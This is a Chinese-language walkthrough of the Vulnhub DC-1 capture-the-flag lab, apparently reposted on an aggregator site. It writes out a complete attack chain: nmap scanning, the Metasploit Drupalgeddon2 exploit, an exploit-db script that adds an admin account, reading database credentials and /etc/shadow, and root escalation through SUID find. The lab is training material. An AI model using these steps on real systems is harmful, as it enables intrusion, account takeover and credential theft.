DC-1 Vulnhub
Posted helloctf
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DC-1 Vulnhub相关的知识,希望对你有一定的参考价值。
这个靶机一共有5个flag,全部找到就能通关。
因不知道DC-1靶机的IP,所有我们需要将靶机和kali放在同一个局域网里面,使用桥接模式,先探测DC-1的主机IP地址。
nmap -sP 192.168.1.0/24
拿到靶机的IP地址192.168.1.7
接着探测靶机开放了哪些端口。
nmap -sV -p- 192.168.1.7
可以看到开放了22 80 111三个端口
访问80端口。拿到一个Drupal CMS建的站。查看详细的信息
whatweb 192.168.1.7
得到CMS的版本信息是Drupal 7
那么我们可以用msf搜索CMS的漏洞
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2 //选择一个漏洞利用。
show options //查看需要设置的参数
set RHOSTS 192.168.1.7 //设置参数
exploit //攻击
成功的建立会话。
进入系统的shell
但是这里并不是交互的shell,所以我们要进入交互式的shell。
使用python的pty反弹一个交互式shell。
python -c "import pty;pty.spawn(‘/bin/bash‘)"
列一下当前的文件,拿到flag1.txt文件。
提示我们每一个CMS都有一个配置文件。我们快可以百度一下Drupal CMS 配置文件所在路径,Drupal的默认配置文件为 /var/www/sites/default/settings.php。
cd sites/default
ls
cat settings.php
拿到flag2.txt文件。提示:字典爆破攻击不是获得访问权限的唯一方式(你需要拿到访问权限)这个应该是和dc-1主机密码有关系吧。
同时flag.txt还给出了数据库的账号密码
进入数据库查看。
mysql -u dbuser -p
use drupaldb
show tables;
select * from users;
我们可以发现admin用户。在exploitdb中有一个针对Drupal 7版本的攻击脚本,可以增加一个admin权限的用户账号,使用此方法简便破解admin的密码,
cat /var/www/includes/bootstrap.inc | grep VERSION
可以得到CMS版本为7.24,该漏洞在7.31版本之下都适用。
下面搜索这个漏洞
msf5 > searchsploit drupal
利用漏洞
kali@kali:~/Desktop$ python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.1.7 -u admin1 -p admin1
成功添加了一个admin1/admin1用户
用新添加的账号密码登录。拿到flag3
特殊的PERMS可以帮助找到密码-但您需要-exec该命令来确定如何获取隐藏的内容。
在.etc/passwd中发现了flag4
从信息中可以看出存在/home/flag4目录,拿到lfag4.txt。同时提示我们去找到root权限下的flag。那么拿到最后的flag需要提权了,www-data的权限显然不够。
使用suid提权,找到一个属于root的有s权限的文件
www-data@DC-1:/$ find / -user root -perm 4000 -print 2>/dev/null
www-data@DC-1:/$ find / -perm -u=s -type f 2>/dev/null
查看find是否具有root权限。
cd /usr/bin
ls -l find
find 具有root权限
www-data@DC-1:/usr/bin$ mkdir test
www-data@DC-1:/usr/bin$ find test -exec ‘/bin/sh‘ ;
成功提权到root权限。
寻找在root权限下的flag。
cd /root
ls
cat thfinalflag.txt
5个flag都拿到手了。
flag是拿到手了,但是dc-1主机的密码一直没有拿到。我们可以用我们拿到的root权限去获取主机的密码。
# cd /etc
# cat shadow
按flag2.txt的提示,应该可以爆破出来吧。
自己并没有爆破出来,看wp知道密码是orange。把orange加到字典里成功爆破,哈哈哈哈。。
该靶机涉及到的一些点:
1、nmap 常用命令参数
nmap 主机名/IP地址 //扫描主机,加上-v参数可以获取更多细节
nmap 192.168.1.* //使用通配符扫描整个子网
nmap -iL nmaptest.txt //使用-iL参数批量扫描nmaptest.txt中列出的主机名和IP地址
nmap 192.168.1.* --exclude 192.168.1.8 //扫描整个子网,除去192.168.1.8这个地址
nmap -sA 192.168.1.7 //扫描主机是否使用滤包器和防火墙
nmap -sP 192.168.1.* //扫描某一网段在线的主机
nmap -V //查看nmap版本
nmap -p 80-160 192.168.1.7 //扫描某一主机的某一范围的端口
nmap -sV 192.168.1.7 //查询出在远程服务器的服务版本
nmap -sS 192.168.1.7 //执行一个秘密的扫描
2、Python一句话反弹shell
python -c "import pty;pty.spawn(‘/bin/bash‘)"
更多的反弹shell 的方法可以参考https://www.anquanke.com/post/id/87017
3、Linux下一些敏感目录
/etc/passwd # 账户信息
/etc/shadow # 账户密码文件
/usr/local/app/apache2/conf/httpd.conf # Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf # 虚拟网站配置
/usr/local/app/php5/lib/php.ini # PHP 配置文件
/etc/httpd/conf/httpd.conf # Apache 配置文件
/etc/my.conf # MySQL 配置文件
4、find提权
原理:如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。参考链接 https://www.anquanke.com/post/id/86979
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
以上是关于DC-1 Vulnhub的主要内容,如果未能解决你的问题,请参考以下文章